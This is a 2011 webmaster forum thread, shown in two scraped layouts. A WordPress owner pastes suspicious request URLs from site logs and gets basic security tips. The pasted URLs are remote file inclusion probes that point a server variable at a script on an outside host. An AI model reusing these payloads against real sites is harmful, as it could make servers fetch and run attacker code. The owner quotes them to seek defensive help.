Is That a Hacker Knocing My WP Site!

amreen · 07-20-2011, 12:43 PM

Hi

I was checking stat press stats of one of my WP site. At the 'Spy' tab of stat press I noticed an IP (222.122.142.233) of Seoul, checked some of my pages that are unusual. Stat press has given urls like this:

///?_SERVER[DOCUMENT_ROOT]=http://yuken.fileave.com/id1.txt?????
/impact-of-reverse-directory-on-small-business///?_SERVER[DOCUMENT_ROOT]=http://yuken.fileave.com/id1.txt?????
/impact-of-reverse-directory-on-small-business/?_SERVERDOCUMENT_ROOT=http://yuken.fileave.com/id1.txt?????
/trackaphonenumber/?_SERVER%5BDOCUMENT_ROOT%5D=http://yuken.fileave.com/id1.txt
/reverse-cell-phone-detective-services-what-you-are-allowed-to-do-and-what-you-are-not-allowed-to-do///?_SERVER[DOCUMENT_ROOT]=http://yuken.fileave.com/id1.txt?????
/reverse-cell-phone-detective-services-what-you-are-allowed-to-do-and-what-you-are-not-allowed-to-do/?_SERVERDOCUMENT_ROOT=http://yuken.fileave.com/id1.txt?????

I do not have any idea what these signifies but suspect that may be a hacker trying to prob my site. If that is the case what should I do? How to protect the site? I know basic WP but not an expert by any means.

Only protection I have, WP version of the site is the latest one and username is not 'admin'.

Need some knowledge and advise in this regards

Thanks

MTLSEO · 07-20-2011, 01:18 PM

I started using CloudFlare it's great for better security on WP sites...try it out

damoncloudflare · 07-20-2011, 03:33 PM

Quote:

Originally Posted by MTLSEO

I started using CloudFlare it's great for better security on WP sites...try it out

CloudFlare can most certainly help add an additional security layer to your site. A couple of quick of things:

1. Make sure you're using the most recent version of WordPress (they recently did an update). While you mentioned updating to the most recent one, I don't know you're actually using the most recent version.
2. I would probably check with your host to make sure you don't have any malicious files on the site (just to be safe).

Does your site cater to visitors from that region? If not, there are ways of blocking traffic from that region as well (.htacess, etc.).

Abledragon · 07-20-2011, 05:30 PM

That doesn't look too good to me. Here's an article that described the security steps I took after one of my client's sites was hacked:

WordPress Security: Not Just About WordPress | WealthyDragon

Cheers,

Martin.

simonbuzz · 07-20-2011, 10:57 PM

remember to change your password monthly...

esdavis · 07-20-2011, 10:58 PM

Martin,
I checked out that link. Some good stuff in there.

If you're a newbie to WordPress or working with websites online, this can probably help a lot with its tips on security.

07-20-2011, 12:43 PM	#1
amreen HyperActive Warrior War Room Member Join Date: May 2009 Location: Dhaka, Bangladesh (SE Asia) Posts: 174 Blog Entries: 5 Thanks: 56 Thanked 19 Times in 18 Posts	Is That a Hacker Knocing My WP Site! Hi I was checking stat press stats of one of my WP site. At the 'Spy' tab of stat press I noticed an IP (222.122.142.233) of Seoul, checked some of my pages that are unusual. Stat press has given urls like this: ///?_SERVER[DOCUMENT_ROOT]=http://yuken.fileave.com/id1.txt????? /impact-of-reverse-directory-on-small-business///?_SERVER[DOCUMENT_ROOT]=http://yuken.fileave.com/id1.txt????? /impact-of-reverse-directory-on-small-business/?_SERVERDOCUMENT_ROOT=http://yuken.fileave.com/id1.txt????? /trackaphonenumber/?_SERVER%5BDOCUMENT_ROOT%5D=http://yuken.fileave.com/id1.txt /reverse-cell-phone-detective-services-what-you-are-allowed-to-do-and-what-you-are-not-allowed-to-do///?_SERVER[DOCUMENT_ROOT]=http://yuken.fileave.com/id1.txt????? /reverse-cell-phone-detective-services-what-you-are-allowed-to-do-and-what-you-are-not-allowed-to-do/?_SERVERDOCUMENT_ROOT=http://yuken.fileave.com/id1.txt????? I do not have any idea what these signifies but suspect that may be a hacker trying to prob my site. If that is the case what should I do? How to protect the site? I know basic WP but not an expert by any means. Only protection I have, WP version of the site is the latest one and username is not 'admin'. Need some knowledge and advise in this regards Thanks
	Back Track a Phone Number Track a Phone Number, San Antonio Dentist, Track Phone Number, Ohare Limo

07-20-2011, 01:18 PM	#2
MTLSEO Warrior Member Join Date: Feb 2011 Posts: 19 Thanks: 0 Thanked 0 Times in 0 Posts	Re: Is That a Hacker Knocing My WP Site! I started using CloudFlare it's great for better security on WP sites...try it out
	Internet Marketing Consultant and SEO Consultant at SEO CANADA SERVICES

07-20-2011, 05:30 PM	#4
Abledragon Advanced Warrior Join Date: May 2007 Location: Hong Kong. Posts: 982 Thanks: 3 Thanked 181 Times in 159 Posts Social Networking Contact Info	Re: Is That a Hacker Knocing My WP Site! That doesn't look too good to me. Here's an article that described the security steps I took after one of my client's sites was hacked: WordPress Security: Not Just About WordPress \| WealthyDragon Cheers, Martin.
	Free eBook: How to Start a Business Online

07-20-2011, 10:57 PM	#5
simonbuzz Banned Join Date: Mar 2011 Location: United Kingdom Posts: 1,400 Thanks: 17 Thanked 95 Times in 93 Posts Social Networking Contact Info	Re: Is That a Hacker Knocing My WP Site! remember to change your password monthly...

07-20-2011, 10:58 PM	#6
esdavis Susan - Research Nut War Room Member Join Date: Sep 2008 Location: Vancouver, WA Posts: 130 Thanks: 15 Thanked 55 Times in 36 Posts Social Networking Contact Info	Re: Is That a Hacker Knocing My WP Site! Martin, I checked out that link. Some good stuff in there. If you're a newbie to WordPress or working with websites online, this can probably help a lot with its tips on security.
	Always Interested in Hearing About Cool SEO Tools and Useful WP Plugins via threads or PMs. Interested in Social Media Tools and Content for The Local Marketing Expert clients.